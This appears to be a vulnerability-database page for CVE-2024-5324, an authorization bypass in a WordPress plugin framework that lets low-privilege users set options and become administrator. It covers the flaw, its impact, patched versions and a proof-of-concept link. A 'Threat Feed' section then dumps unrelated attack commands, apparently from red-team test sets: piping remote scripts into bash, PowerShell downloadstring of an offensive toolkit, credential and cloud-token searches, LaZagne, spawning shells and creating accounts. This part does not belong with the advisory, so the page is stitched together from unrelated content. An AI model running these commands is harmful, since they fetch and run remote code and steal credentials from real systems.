CVE-2024-5324
Overview
This vulnerability is an authorization bypass due to a missing capability check within the 'import_settings' function of the XootiX Framework used by multiple WordPress plugins. The root cause is the absence of proper permission validation, allowing users with low-level privileges to invoke administrative functions. The affected component is the settings import functionality in the XootiX Framework integrated into various plugin versions.
Vulnerability Description
Multiple plugins for WordPress utilizing the XootiX Framework are vulnerable to unauthorized modification of data due to a missing capability check on the 'import_settings' function in various versions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary options on affected sites. This can be used to enable new user registration and set the default role for new users to Administrator.
Impact
An attacker with at least Subscriber-level access can escalate privileges by enabling new user registrations and setting default roles to Administrator, effectively gaining full administrative control over the WordPress site. This unauthorized modification can lead to complete site compromise, data exfiltration, and persistent backdoors. The exploit requires authentication (PR:L) but no user interaction (UI:N) and is remotely exploitable (AV:N) with high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Apply the security updates released by the XootiX plugin maintainers as detailed in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/005a27c6-b9eb-466c-b0c3-ce52c25bb321). Specifically, update to patched versions of affected plugins including Login/Signup Popup 2.7.3 or later, Side Cart WooCommerce 2.6 or later, and any updated releases of Waitlist Woocommerce and OTP Login WooCommerce & Gravity Forms. The vendor's changeset 3093994 addresses the missing capability checks in the import_settings function.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Login/Signup Popup plugin for WordPress arises from a critical oversight in the implementation of the 'import_settings' function, which lacks adequate capability checks. This flaw allows authenticated users with Subscriber-level access or higher to manipulate arbitrary options on the affected sites. Specifically, the absence of proper authorization checks means that an attacker can exploit this vulnerability to enable new user registrations and assign the default role of Administrator to these users. This presents a significant security risk, as it effectively allows unauthorized users to gain elevated privileges and control over the WordPress site.
Attack vectors for this vulnerability are straightforward, given that it can be exploited by any authenticated user with minimal privileges. An attacker could leverage social engineering techniques to gain access to a legitimate user account or exploit weak password policies to compromise an account. Once inside, the attacker can invoke the vulnerable function, thereby altering critical settings without any restrictions. This could lead to the creation of new accounts with administrative privileges, enabling the attacker to manipulate site content, steal sensitive data, or even deploy malicious code. Such exploitation can be executed remotely, making it a particularly concerning threat for WordPress installations that utilize this plugin.
The real-world impact of this vulnerability is profound, especially for businesses that rely on WordPress for their online presence. If exploited, an attacker could gain full administrative control over a website, leading to potential data breaches, loss of customer trust, and significant reputational damage. The ability to create new administrative accounts could facilitate further attacks, including the installation of backdoors or other malicious software. The financial implications could be severe, encompassing costs related to incident response, remediation, and potential legal liabilities arising from data breaches. For e-commerce sites, the risk is even greater, as attackers could manipulate transaction processes or access sensitive customer payment information.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify outdated plugins and configurations that may expose the site to attacks. Additionally, maintaining an up-to-date inventory of all installed plugins and ensuring they are regularly updated to the latest versions is crucial. Employing security plugins that monitor user activity and enforce strict access controls can further reduce the risk of unauthorized modifications. It is also advisable to implement strong password policies and two-factor authentication for all user accounts, particularly those with elevated privileges.
In conclusion, the vulnerability present in the Login/Signup Popup plugin for WordPress represents a significant threat to website security, particularly for those with user registration functionalities. The ease of exploitation and potential for severe consequences necessitate immediate attention from website administrators. By adopting proactive security measures and maintaining vigilance, organizations can mitigate the risks associated with this vulnerability and protect their digital assets from unauthorized access and manipulation.
Affected Products (5)
| Vendor | Product | Version | CPE | |
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Xootix | Login\/signup Popup | 2.7.1 |
cpe:2.3:a:xootix:login\/signup_popup:2.7.1:*:*:*:*:wordpress:*:*
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Xootix | Login\/signup Popup | 2.7.2 |
cpe:2.3:a:xootix:login\/signup_popup:2.7.2:*:*:*:*:wordpress:*:*
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Xootix | Otp Login Woocommerce \& Gravity Forms | All |
cpe:2.3:a:xootix:otp_login_woocommerce_\&_gravity_forms:*:*:*:*:*:wordpress:*:*
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Xootix | Side Cart Woocommerce | 2.5 |
cpe:2.3:a:xootix:side_cart_woocommerce:2.5:*:*:*:*:wordpress:*:*
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Xootix | Waitlist Woocommerce | All |
cpe:2.3:a:xootix:waitlist_woocommerce:*:*:*:*:*:wordpress:*:*
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
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RandomRobbieBF/CVE-2024-5324
Login/Signup Popup ( Inline Form + Woocommerce ) 2.7.1 - 2.7.2 - Missing Authorization to Arbitrary Options Update
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RandomRobbieBF | 1 | 0 | 2024-06-06 | View |
Threat Feed
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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